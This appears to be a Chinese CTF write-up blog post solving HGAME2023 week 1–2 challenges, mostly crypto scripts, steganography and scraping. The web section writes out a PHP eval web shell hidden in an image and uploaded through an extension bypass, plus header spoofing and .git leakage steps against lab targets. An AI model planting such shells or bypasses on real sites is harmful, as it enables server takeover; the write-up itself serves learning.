HGAME2023 week1-week2
确实是高质量比赛,学到了很多知识、认识到了很多的不足。
任重而道远啊...
hgame_week1
web
Classic Childhood Game
F12检查源码,打开Events.js
发现
\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35
cyberchef解码
Show Me Your Beauty
文件上传
在一张图片内写入<?php eval($_POST['b'])?>
上传用burpsuite抓包
修改文件名为pHp
上传成功
回到网页,右键头像打开,测试phpinfo();
)
成功,连接蚁剑,根目录下找到flag:hgame{Unsave_F1L5_SYS7em_UPL0ad!}
Become A Member
(赛后复现) 比赛时改错头了一直没回显...直接尬住
考点就是 ⼏个常规的HTTP考点+请求数据构造
题⽬提⽰⾝份证明(Cute-Bunny),尝试 User-Agent
Vidar的邀请码(code),可以看⼀开始的http请求头当中有⼀个 Set-Cookie:code=guest
,将 guest 修改为 Vidar 即可
来⾃ bunnybunnybunny.com 的申请,提⽰了请求来源,将 referer
的值修改为bunnybunnybunny.com
最后⼀个是本地请求,这个⽐较常⻅,添加 X-Forwarded-For
: 127.0.0.1 的请求头即可
然后给了 password 和 username ,按正常的json数据格式发请求数据即可(注意需要指定Content-Type 为 application/json ,请求⽅式是 GET )
)
得到flag:hgame{H0w_ArE_Y0u_T0day?}
Guess Who I Am
(赛后复现) 这是一道爬虫题,写脚本这一块还得不断加强才行啊..
F12看到hint,去GitHub把成员信息扒下来,写成json文件,改成这种形式
⽐较快捷的办法的话⽐如说⽤像vsode之类的编辑器来做批量的编辑。可以ctrl + f选中所有需要编辑的信息后,右键更改所有匹配项,让每⼀个 "avatar" 前⾯都出现光标,再⽤shift + ⽅向键,就可以⽤多个光标批量选中删除啦。
下一步我们要做的内容就是读⼊json⽂件并且解析内容,请求获取成员介绍,通过json⾥读进来的内容匹配出对应的ID,⽤这个ID去请求验证答案的接⼝,当得分超过100时去关注返回的⻚⾯看看有没有什么不⼀样的信息。
步骤一:
读⼊json⽂件并且解析内容
import json
with open('member.json',encoding='UTF-8') as f:
member = json.load(f)
print(member)
这里要加encoding='UTF-8'
,不然可能会出现 UnicodeDecodeError: 'gbk' codec can't decode byte 0xa7 in position 58: illegal multibyte sequence
的编码问题
json.load()
:json文件中读取数据
步骤二:
看到正常输出了,接下来F12看⼀下⽹站的后端接⼝设计,请求对应的后端接⼝拿到所需的各种信息
提问信息的地址:http://week-1.hgame.lwsec.cn:32230/api/getQuestion
分数的地址:http://week-1.hgame.lwsec.cn:32230/api/getScore
答题的地址:http://week-1.hgame.lwsec.cn:32230/api/verifyAnswer
此处是POST
这⾥可能就会考虑⼀个问题,⽹站是怎么对于不同⽤⼾的信息进⾏判断的呢,这⾥也没有什么登陆啊,我能不能直接让服务端认为我已经拿到了100分呢?站点通过Cookie中的session来记录了⽤⼾信息,⽽session是通过Key来加密的,所以不知道Key的⽤⼾是没有办法做到在客⼾端修改分数的。
步骤三:
我们这⾥要带着session去请求 /api/getQuestion
的接⼝来获取问题。
这⾥我们获得了⼀个json格式的数据,我们的⽬标是去提取我们想要的成员介绍的内容,但是请求得到的数据类型是str,所以需要转换成Dict。
所以加上这两句
rs = json.loads(res.text)
print(rs['message'])
得到
详解:
cookies: | 初始化cookies字典变量 |
---|---|
res=requests.get("url",cookies=cookies) | 将cookies添加到get方法中,获取到的res.content中就是我们将cookies信息添加到get中后访问网页所获取的内容 |
json.loads(): | 将str类型的数据转换为dict类型 |
res.text | 查看响应内容,response.text 返回的是Unicode格式的数据 |
步骤四:
获取到对应的成员介绍后我们就在成员信息中匹配到对应的ID
answer = ''
for i in member:
if i['intro'] == rs['message']:
answer = i['id']
break
print(answer)
验证答案
答案正确,可以进行下一步的脚本编写
由于后端⽤的语⾔是Golang,开发框架是Gin,鉴权⽤的session中间件是客⼾端session的形式,也就是说包括分数包括问题都是存储在session中,那么我们每次答对题⽬分数和问题都是会改变的,在⻚⾯上我们答对问题会有 set-cookie 的响应头来重新设置新的session,但是我们编写脚本就得⾃⼰来处理这个问题,需要从set-cookie中拿到新的session然后再开始新⼀轮的⾃动答题
步骤五:
获取页面的session
data = {'id':answer}
res = requests.post(url+"/api/verifyAnswer",cookies=cookies,data=data)
rs=json.loads(res.text)
print("[*] Result: "+ rs['message'])
cookies['session'] = res.cookies['session']
步骤六:
补上对于分数接⼝的请求,外层加上⼀个While循环,判断分数到达100时退出,因为后端接⼝总共
也就只有获取问题,获取分数,验证答案三个,那么我们可以判断分数到达100时肯定是从这三个接⼝会能够返回和Flag相关的信息
完整版EXP:
import json
import requests
# 读取json⽂件并且解析
with open('member.json', encoding='UTF-8') as f:
member = json.load(f)
cookies={}
answer=''
score=0
# 靶机地址
url="http://week-1.hgame.lwsec.cn:31628" #注意此处不要多复制‘/’,会造成‘//’现象直接报错
# 当前页面的session
cookies['session']='MTY3NDIxMjQ0OHxEdi1CQkFFQ180SUFBUkFCRUFBQU9fLUNBQUlHYzNSeWFXNW5EQTBBQzJOb1lXeHNaVzVuWlVsa0EybHVkQVFDQUF3R2MzUnlhVzVuREFnQUJuTnZiSFpsWkFOcGJuUUVBZ0FzfLcGFI3K5NeFt3s0VGWxGso8KEtNu96yx9qX70XNWqjK'
while score <100:
# 请求getQuestion接⼝
res=requests.get(url+"/api/getQuestion",cookies=cookies)
rs = json.loads(res.text)
print('[+] getQuestion:'+res.text)
# 匹配对应的ID
for i in member:
if i['intro'] == rs['message']:
answer = i['id']
break
# 请求verifyAnswer接⼝
data = {'id':answer}
res = requests.post(url+"/api/verifyAnswer",cookies=cookies,data=data)
rs=json.loads(res.text)
print("[*] Result: "+ rs['message'])
cookies['session'] = res.cookies['session']
# 请求getScore接⼝
res=requests.get(url+"/api/getScore",cookies=cookies)
rs=json.loads(res.text)
score=rs['message']
print('[+] Score:'+str(rs['message']))
实现效果
得到flag:hgame{Guess_who_i_am^Happy_Crawler}
crypto
RSA
在线网站分解n得到p,q http://factordb.com/
p=11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
q=12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953
脚本解题
import gmpy2
from Crypto.Util.number import *
p=11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
q=12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953
e = 65537
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
得到flag:hgame{factordb.com_is_strong!}
神秘的电话
(赛后复现) ...卡最后一步上了,属实没想到北欧神话的终点是诸神黄昏的幸存神vidar...
诸神黄昏的各种简写都试了结果是这个...还是不够细啊
第一步 将encrypted_message.txt中的内容base64解码
得到
⼏个星期前,我们收到⼀个神秘的消息。但是这个消息被重重加密,我们不知道它的真正含义是什
么。唯⼀知道的信息是关于密钥的:“只有倒着翻过⼗⼋层的篱笆才能抵达北欧神话的终点”。
第二步,手翻morse.wav的摩斯电码,因为flag中字母均为小写
得到 0223e_priibly__honwa_jmgh_fgkcqaoqtmfr
第三步,逆序
第四步,18层栅栏解码
第五步,维吉尼亚解码,得到flag:hgame{welcome_to_hgame2023_and_enjoy_hacking}
misc
Sign In
签到题,base64得flag:hgame{Welcome_To_HGAME2023!}
e99p1ant_want_girlfriend
修改图片高度得到flag:hgame{e99p1ant_want_a_girlfriend_qq_524306184}
神秘的海报
Stegsolve打开,lsb 000 看到
Sure enough, you still remember what we talked about at that time! This is part of the secret:
hgame{U_Kn0w_LSB&W I put the rest of the content here, https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing, if you directly access the google drive cloud disk download in China, it will be very slow, you can try to use Scientific Internet access solves the problem of slow or inaccessible access to external network resources. This is my favorite music, there is another part of the secret in the music, I use Steghide to encrypt, the password is also the 6-digit password we agreed at the time, even if someone else finds out here, it should not be so easy to crack (( hope so
前半段flag跟wav文件下载链接,结合后文提示steghide隐写,密码是6位纯数字,用stegseek爆破
superdic.txt为6位纯数字的密码本
得到后半段:恭喜你解到这里,剩下的Flag是 av^Mp3_Stego},我们Week2见!
flag:hgame{U_Kn0w_LSB&Wav^Mp3_Stego}
Where am I
foremost分解出流量包里的压缩包,是个rar,一打开就是各种报错,缺少图片的文件头,密码以及不可预料的压缩末端。尝试用winrar修复但是不行,研究了一下,用NetworkMiner这个工具分离出的rar是有文件尾的,也防止自己手动修复时出错。
研究半天修复文件头,结果发现是rar伪加密
将24改为20即可
打开图片,在备注处看到gps信息,用https://exif.tuchong.com/ EXIF查看器更方便
得到信息:39 deg 54' 54.18" N, 116 deg 24' 14.88" E,0 m Above Sea Level
得到flag:hgame{116_24_1488_E_39_54_5418_N}
reverse
test your IDA
放入IDA一打开就能看到flag
easyasm
观察发现是需要将result异或0x33后转字符串
脚本:
s='0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e'
s=s.split(',')
l=[]
for i in s:
l=int(i,16)^0x33
print(l,end='')
s=[104,103,97,109,101,123,119,101,108,99,48,109,101,95,116,48,95,114,101,95,119,111,114,49,100,33,125]
for i in s:
i=chr(i)
print(i,end='')
得到flag:hgame{welc0me_t0_re_wor1d!}
pwn
test_nc
kali 中 nc 后 cat flag
IOT
Help marvin
(赛后复现) 第一次做IOT的题,按照wp复现成功,刚好记录一下
给了hint 知道本题为SPI协议解析 使⽤pulesview打开sr⽂件
SPI协议特性
SPI = Serial Peripheral Interface,是串行外围设备接口,是一种高速,全双工,同步的通信总线。
SPI总线包括4条逻辑线,定义如下:
MISO:Master input slave output 主设备数据输入,从设备数据输出(数据来自从机);
MOSI:Master output slave input 主设备数据输出,从设备数据输入(数据来自主机);
SCLK :Serial Clock 串行时钟信号,由主机产生发送给从机;
NSS:从机片选使能信号线。该信号由主机进行控制。在一主对多从的模式下,每一个从机都需要一个NSS,用于主机选择和那个从机进行通信(一般为低电平有效)。当一个SPI设备需要发送广播数据,它必须拉低NSS信号,以通知所有其它的设备它是主设备。NSS也可以是CE,CS或SSEL
三根线上有波形 且有根频率最⾼ 应该是4线或以上的带时钟的通信协议
D0是时钟信号 ( CLK )
D1是片段CS
D2是数据(MISO)
如图设置,即可看的SPI的数据
看到7D,直接能联系到ascii码值为}
,故解码得flag
s='34,67,61,6d,65,7b,34,5f,35,74,34,6e,67,65,5f,53,70,31,7d'
s=s.split(',')
flag=''
for i in range(len(s)):
flag+=chr(int(s[i],16))
print(flag)
得到flag:4game{4_5t4nge_Sp1}
hgame_week2
web
Git Leakage
读题目得知是git泄露
访问url/.git
下载index,打开搜索flag看到Th1s_1s-flag
去下载url/Th1s_1s-flag
得到flag:hgame{Don't^put*Git-in_web_directory}
v2board
百度到V2Board Admin.php 越权访问漏洞
GitHub搜索exp,找到了zgao264师傅写的exp
按照README.md操作,得到token
crypto
rabin
Rabin算法是一种基于模平方和模平方根的非对称加密算法
import gmpy2
import libnum
p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123
c=4086661358212073245252744496322167481491672871949606958127237667510352936336492238168574196919178461270299415887662858793221972137767350873928701793072470
n=6449323225107597053933443750923454260964062647115639999185223478236611437289957562214567685539436238408656830242287962245944636381136963632264486074804909
e = 2
inv_p = gmpy2.invert(p, q)
inv_q = gmpy2.invert(q, p)
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
a = (inv_p * p * mq + inv_q * q * mp) % n
b = n - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % n
d = n - int(c)
# 因为rabin 加密有四种结果,全部列出。
aa = [a, b, c, d]
for i in aa:
print(i)
print(libnum.n2s(int(i)))
得到flag:hgame{That'5_s0_3asy_to_s@lve_r@bin}
RSA大冒险1
这道题出的真挺不错的
给了四个挑战,打通关获得flag
第一关是最基础的rsa,通过给的p值与p*q*r值得到q*r的值,值这么小直接yafu分解,得到q值和r值
这样p,q,e,c齐全,直接解,得到第一关答案:m<n_But_also_m<p
第二关是利用欧几里得算法,运行两次得到两个n值,其中的p值是相等的
import gmpy2
p=gmpy2.gcd(n1,n2)
q=n1//p
这样就得到了p,q的值,现在p,q,e,c齐全,得到第二关答案:make_all_modulus_independent
第三关是小e,明显是低加密指数攻击
脚本解题
import libnum
import gmpy2
c=1620135819727459374856861031843595560446547666362278256721611098300571774064092226213485034156592394325852384589395122643937335495320149363516518672591127083237362181645206738138892454081130678965267391894846777695757814984112690455549768
e=3
n=89205429359119794945983435440440153891896048605500448398466813204176930432316502363982420399189336214133892667017070960272307319029776828466846047959788316617559138703334632404710945248239429508995159045446455803886466666986158213938827010650078577668654313324766202011427074264152957817749714057009436177683
def exp(n, e, c):
k = 0
while 1:
m1 = k * n + c
m, t = gmpy2.iroot(m1, e)
if t:
print(m)
print(k)
print(libnum.n2s(int(m)))
break
k += 1
exp(n, e, c)
得到第三关答案:encrypt_exponent_should_be_bigger
第四关的两次e值不同,得知是共模攻击
脚本解题
import libnum
import gmpy2
n=66235966847778258236086556078519489918007499753458367888673525245830804410711231915934431942266308073011531618067138951010571129793107908204734598775186910049124825904093866926551514996215164837557886573947078401045910146184667712652713463353890419328910304579191100714494895346655422228997743287867163201599
e1=105499
e2=91183
c1=6114296529012724857259078691024991747448962852327827400348864045083302424580717261899703658605007866073901365881990655212941056350327573395899227984885284491471483713972704047186525253301027249738411890418148826824912176701147082190936101112270993407013405680182248174829038778266977210861721974168651553374
c2=0x509f556d9b19a1257fc91c284690a8e6e35e36bf1993c7b0ff21173ae015dbfcfdc0f9be257dd2400db11360f49ffb86fa3ae1f4b9f4abff43bac70f612bedb83c7b7eb5f32ebfb485077963195483ddd7df6f7e55c85bdccba88452b2546c929b68dca67df76ab0f158c383d0e187ed3bb75eb84cd4d5ac71c5b3f9d3564b46
def exp_def(e1,e2,c1,c2,n):
s,s1,s2 = gmpy2.gcdext(e1, e2)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)
m=exp_def(e1,e2,c1,c2,n)
print(libnum.n2s(m))
得到第四关答案:never_uese_same_modulus
得到最终flag:hgame{W0w_you^knowT^e_CoMm0n_&t$ack_@bout|RSA}
misc
Sign In Pro Max
flag分为5个部分,拼成uuid格式
part1为base套娃,base64、base58、base32 得f51d3a18
part2、3 为md5 得f91c
、4952
part4为sha256 得a3ed
part5为ascii码位移 得0bc0ea61d21c
s='0gh0jf61i21h'
flag=''
for i in s:
if ord(i)>=97:
data=chr(ord(i)-5)
flag+=data
else:
flag+=i
print(flag)
拼接flag:hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}
crazy_qrcode
(赛后复现) 姿势错了orz
在https://merricx.github.io/qrazybox/中导入该二维码,在tools list
选择 Brute-force Format Info Pattern
然后将模式转为Decode Mode
,点击Decode
即可获得密码:
解开压缩包,发现是25张二维码碎片,附加文件是一个数组,猜测是每一个二维码碎片的旋转次数
尝试拼出二维码 (用ppt拼的,确实好用)
扫描得到flag:Cr42y_qrc0de
reverse
stream
(赛后复现) 学习到了PyInstaller Extractor
工具的使用
⽤pyinstaller打包的python可执⾏程序,特征还是⽐较明显的,从图标和⾥⾯的字符串都可以看出
来。可使⽤⼯具pyinstxtractor解包
然后反编译其中的stream.pyc
判断为 RC4+base64,cyberchef⼀下
得到flag:hgame{python_reverse_is_easy_with_internet}
HGAME2023 week1-week2的更多相关文章
- 【代码笔记】iOS-和当前时间比较
代码: #import "RootViewController.h" @interface RootViewController () @end @implementation R ...
- Js计算-当月每周有多少天
查看Demo: 源代码如下: <script> //计算当月总天数 function getCountDays() { var curDate = new Date(); /* 获取当前月 ...
- pat_1014
1014. 福尔摩斯的约会 (20) 时间限制 50 ms 内存限制 32000 kB 代码长度限制 8000 B 判题程序 Standard 作者 CHEN, Yue 大侦探福尔摩斯接到一张奇怪的字 ...
- Coursera深度学习(DeepLearning.ai)编程题&笔记
因为是Jupyter Notebook的形式,所以不方便在博客中展示,具体可在我的github上查看. 第一章 Neural Network & DeepLearning week2 Logi ...
- 日期求星期(java)-蓝桥杯
日期求星期问题(java)-蓝桥杯 1:基姆拉尔森计算公式(计算星期) 公式: int week = (d+2*m+3*(m+1)/5+y+y/4-y/100+y/400)%7; 此处y,m,d指代年 ...
- sql pivot(行转列) 和unpivot(列转行)的用法
1.PIVOT用法(行转列) select * from Table_Score as a pivot (sum(score) for a.name in ([语文],[数学],[外语],[文综],[ ...
- [2017BUAA软工助教]学期总结
一.表 学号 第0次 week1 week2 week3 个人项目 附加1 结对项目 附加2 a团队得分 a贡献分 b团队得分 b贡献分 阅读作业 提问回顾 总分1 总分2 14011100 8 8 ...
- [2017BUAA软工助教]个人得分总表(至alpha结束)
一.表 学号 第0次 week1 week2 week3 个人项目 附加1 结对项目 附加2 a团队 a团队得分 a贡献分 总分(不计) 总分(记) 15061119 7 9.5 12 9 45.75 ...
- 20172324《Java程序设计》第3周学习总结
20172324<Java程序设计>第3周学习总结 教材学习内容总结 随机数,记住要返回的是指定的字符前一个. String类型的一些用法,例如concat(连接),toUpperCase ...
- 在oracle里,如何取得本周、本月、本季度、本年度的第一天和最后一天的时间
在oracle里,如何取得本周.本月.本季度.本年度的第一天和最后一天的时间 --本周 select trunc(sysdate,'d')+1 from dual; select trunc(sysd ...
随机推荐
- WEB服务与NGINX(14)-NGINX的压缩功能
1. nginx压缩功能 nginx支持对指定类型的文件进行压缩后再回传给客户端,而且压缩可以设置压缩比,压缩后的文件会明显变小,有助于降低出口带宽的利用率,但是会占用一定的CPU资源. nginx实 ...
- JS对Cookie的应用--JavaScript实例集锦(初学)
一个网站上的cookie信息可以实现下次自动登录,记录你的历史等等 可以在火狐浏览器查看本地代码的cookie信息: 打开火狐浏览器--点击右键--查看页面信息--安全--查看cookie <! ...
- radmin远程控制软件怎么样,有没有替代品
Radmin 是流行的.屡获殊荣的安全远程控制软件,它使您能够在远程计算机上实时工作,就像使用它自己的键盘和鼠标一样. 您可以从多个地方远程访问同一台计算机,是网络和管理类别中流行的远程桌面工具. R ...
- 7月 Splashtop上线了这些新功能 快来看鸭
经过我们的攻城狮天天努力,我们的软件又得到了升级和完善,上线了一些有用的新功能和增强功能,快来看看吧. Splashtop已为Splashtop Business Access,Splashtop远程 ...
- 4G 信令中的 PCO 字段
目录 文章目录 目录 Protocol Configuration Option Protocol Configuration Option PCO(Protocol Configuration Op ...
- 【超强SQL】WordPress批量修改指定分类下所有文章状态
前阵子主题君的某一个手游下载站的某一个分类,被百度K了,导致整个分类的文章收录都没了,这时候如果想要回复权重,就需要把这个分类的文章都删除了. 下面主题君给大家分享一段巨牛逼的SQL, WordPre ...
- C# XML转Json Json转XML XML 转对象 对象转XML
对象转XML对象时,只能是一个JObject对象,不能是一个集合对象.如果对象是一个列表集合,需要定义一个根对象比如这样:var obj =new { Root = ListLogs[ListLogs ...
- C# fastreport 实现各个报表指定各自的默认打印机
1.业务需求 工作室有多个报表需要打印,如果在报表模板里设置默认打印机的话,每个人电脑上安装的打印机是不相同的,所以就需要设定各自的默认打印机实现打印功能. 2.xml模板设计(PrinterSett ...
- Wpf Bitmap(Image)Base64,Url,文件Path,Stream转BitmapSource(ImageSource),无需外部dll
直接上代码 using System; using System.Drawing; using System.IO; using System.Windows.Forms; using System. ...
- .NET Core应用程序每次启动后使用string.GetHashCode()方法获取到的哈希值(hash)不相同
前言 如标题所述,在ASP.NET Core应用程序中,使用string.GetHashCode()方法去获取字符串的哈希值,但每次重启这个ASP.NET Core应用程序之后,同样的字符串的哈希值( ...